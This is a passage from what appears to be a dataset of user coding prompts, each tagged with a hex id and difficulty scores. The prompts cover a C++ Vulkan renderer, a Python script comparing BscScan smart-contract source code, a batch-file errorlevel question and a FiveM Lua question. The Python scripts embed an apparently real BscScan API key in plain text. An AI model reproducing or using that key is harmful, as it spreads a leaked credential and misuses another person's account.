= 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } Can you convert the above code to make best use of Vulkan.hpp and properly implement RAII?
5e8ed89fa31e5e17b8f35e05b7b72e1f
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,812
import re import requests import difflib API_KEY = "CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS" BASE_URL = "https://api.bscscan.com/api" similarity_threshold = 0.3 def get_contract_source_code(address): params = { "module": "contract", "action": "getsourcecode", "address": address, "apiKey": API_KEY } response = requests.get(BASE_URL, params=params) data = response.json() if data["status"] == "1": source_code = data["result"][0]["SourceCode"] return remove_comments(source_code) else: return None def remove_comments(code): code = re.sub(r"//[^\n]", "", code) code = re.sub(r"/*[\s\S]? */", "", code) code = re.sub(r"/*[\s\S]*? */", "", code) return code def jaccard_similarity(str1, str2): a = set(str1.split()) b = set(str2.split()) c = a.intersection(b) return float(len(c)) / (len(a) + len(b) - len(c)) def find_similar_contracts(reference_addresses, candidate_addresses): reference_source_codes = {} for reference_address in reference_addresses: source_code = get_contract_source_code(reference_address) if source_code is not None: reference_source_codes[reference_address] = source_code if not reference_source_codes: print("No source code found for reference contracts") return [] similar_contracts = {} for address in candidate_addresses: candidate_source_code = get_contract_source_code(address) if candidate_source_code is not None: for reference_address, reference_source_code in reference_source_codes.items(): similarity = jaccard_similarity(candidate_source_code, reference_source_code) if similarity >= similarity_threshold: if reference_address not in similar_contracts: similar_contracts[reference_address] = [(address, similarity)] else: similar_contracts[reference_address].append((address, similarity)) return similar_contracts def print_code_difference(reference_code, candidate_code): reference_lines = reference_code.splitlines() candidate_lines = candidate_code.splitlines() diff = difflib.unified_diff(reference_lines, candidate_lines) for line in diff: print(line) if __name__ == "__main__": reference_addresses = ["0x445645eC7c2E66A28e50fbCF11AAa666290Cd5bb"] candidate_addresses = ["0x44f790ED5FfaEbeD9Ba91744b0CbE4D260F26A47"] similar_contracts = find_similar_contracts(reference_addresses, candidate_addresses) print("Contracts with similar source code (ignoring comments):") for reference_address, similar_addresses in similar_contracts.items(): reference_code = get_contract_source_code(reference_address) print(f"Reference contract: {reference_address}") for address, similarity in similar_addresses: candidate_code = get_contract_source_code(address) print(f"Similar contract: {address} with a similarity of {similarity:.2f}") if similarity < 1.0: print("Code differences:") print_code_difference(reference_code, candidate_code) print("\n") The code above still takes into account the comments in the code. I remind you that comments in the code begin with the following characters // these are single line comments /* */ these are multi-line comments /** */ these are also multiline comments The * character is used between lines in multiline comments. Exclude comments in code when checking it
db933938a7c44af504ddf3e6bdf392b4
{ "intermediate": 0.3380894362926483, "beginner": 0.42860767245292664, "expert": 0.23330286145210266 }
11,813
I have the following loop inside a .cmd file: for /f "delims=" %%i in ('pip install --upgrade DataWarehouseLoadingRoutine') do ( set PYERRORLEVEL=%ERRORLEVEL% echo [!DATE! !TIME!] %%i ) echo my error level %PYERRORLEVEL%. But when I check PYERRORLEVEL at the end of the loop, it is empty. How can I fix that?
820ad375f463aabbf4cd4440bef7a4ea
{ "intermediate": 0.21519288420677185, "beginner": 0.7210083603858948, "expert": 0.06379874050617218 }
11,814
fivem scripting lua how to save a table to json
a9f3539f7a7d1063bbb35fc544ea7f52
{ "intermediate": 0.3804987967014313, "beginner": 0.3836759626865387, "expert": 0.23582525551319122 }
11,815
give example train in python
992fe5f3d6863a002934b25a4f09f5ec
{ "intermediate": 0.30704814195632935, "beginner": 0.25172159075737, "expert": 0.44123029708862305 }
11,816
import re import requests API_KEY = "CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS" BASE_URL = "https://api.bscscan.com/api" similarity_threshold = 0.3 def remove_comments(source_code): # Remove single-line comments source_code = re.sub(r"//.", "", source_code) # Remove multi-line comments source_code = re.sub(r" / *[\s\S]? * / ", "", source_code) return source_code def get_contract_source_code(address): params = { "module": "contract", "action": "getsourcecode", "address": address, "apiKey": API_KEY } response = requests.get(BASE_URL, params=params) data = response.json() if data["status"] == "1": source_code = data["result"][0]["SourceCode"] return remove_comments(source_code) else: return None def jaccard_similarity(str1, str2): a = set(str1.split()) b = set(str2.split()) c = a.intersection(b) return float(len(c)) / (len(a) + len(b) - len(c)) def find_similar_contracts(reference_addresses, candidate_addresses): reference_source_codes = {} for reference_address in reference_addresses: source_code = get_contract_source_code(reference_address) if source_code is not None: reference_source_codes[reference_address] = source_code if not reference_source_codes: print("No source code found for reference contracts") return [] similar_contracts = {} for address in candidate_addresses: candidate_source_code = get_contract_source_code(address) if candidate_source_code is not None: for reference_address, reference_source_code in reference_source_codes.items(): similarity = jaccard_similarity(candidate_source_code, reference_source_code) if similarity >= similarity_threshold: if reference_address not in similar_contracts: similar_contracts[reference_address] = [(address, similarity)] else: similar_contracts[reference_address].append((address, similarity)) return similar_contracts if __name__ == "__main__": # Replace this list with a list of reference contract addresses to check reference_addresses = ["0x4401E60E39F7d3F8D5021F113306AF1759a6c168", "0x2023aa62a7570ffd59f13fde2cac0527d45abf91", #1# 50-75x 75-100x "0x445645eC7c2E66A28e50fbCF11AAa666290Cd5bb", "0x1f5FbCF2787140b2F05081Fd9f69Bc0F436B13C1", #3# 20x 30-50x "0x44f790ED5FfaEbeD9Ba91744b0CbE4D260F26A47", "0xa6C2d7788830E5ef286db79295C533F402Cca734," #5# 5-7x 4x "0xd481997fbe2D7C7f9E651e5f2450AcbC38Eed750"] # Replace this list with a list of candidate contract addresses to check candidate_addresses = ["0xa6C2d7788830E5ef286db79295C533F402Cca734", "0x2023aa62a7570ffd59f13fde2cac0527d45abf91", #1# "0x445645eC7c2E66A28e50fbCF11AAa666290Cd5bb", "0x1f5FbCF2787140b2F05081Fd9f69Bc0F436B13C1", #3# "0x44f790ED5FfaEbeD9Ba91744b0CbE4D260F26A47", "0xa6C2d7788830E5ef286db79295C533F402Cca734", #5# 5-7x 4x "0xd481997fbe2D7C7f9E651e5f2450AcbC38Eed750"] #7# #5# similar_contracts = find_similar_contracts(reference_addresses, candidate_addresses) print("Contracts with similar source code (ignoring comments):") for reference_address, similar_addresses in similar_contracts.items(): print(f"Reference contract: {reference_address}") for address, similarity in similar_addresses: print(f"Similar contract: {address} with a similarity of {similarity:.2f}") The code above does not process all the addresses in the reference_addresses and candidate_addresses arrays. Make it so that the comparison occurs at all addresses in these arrays
32c56597dcb58ed0c0b8e08fa2cb1eb1
{ "intermediate": 0.3389453589916229, "beginner": 0.4422473609447479, "expert": 0.21880729496479034 }
11,817
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, 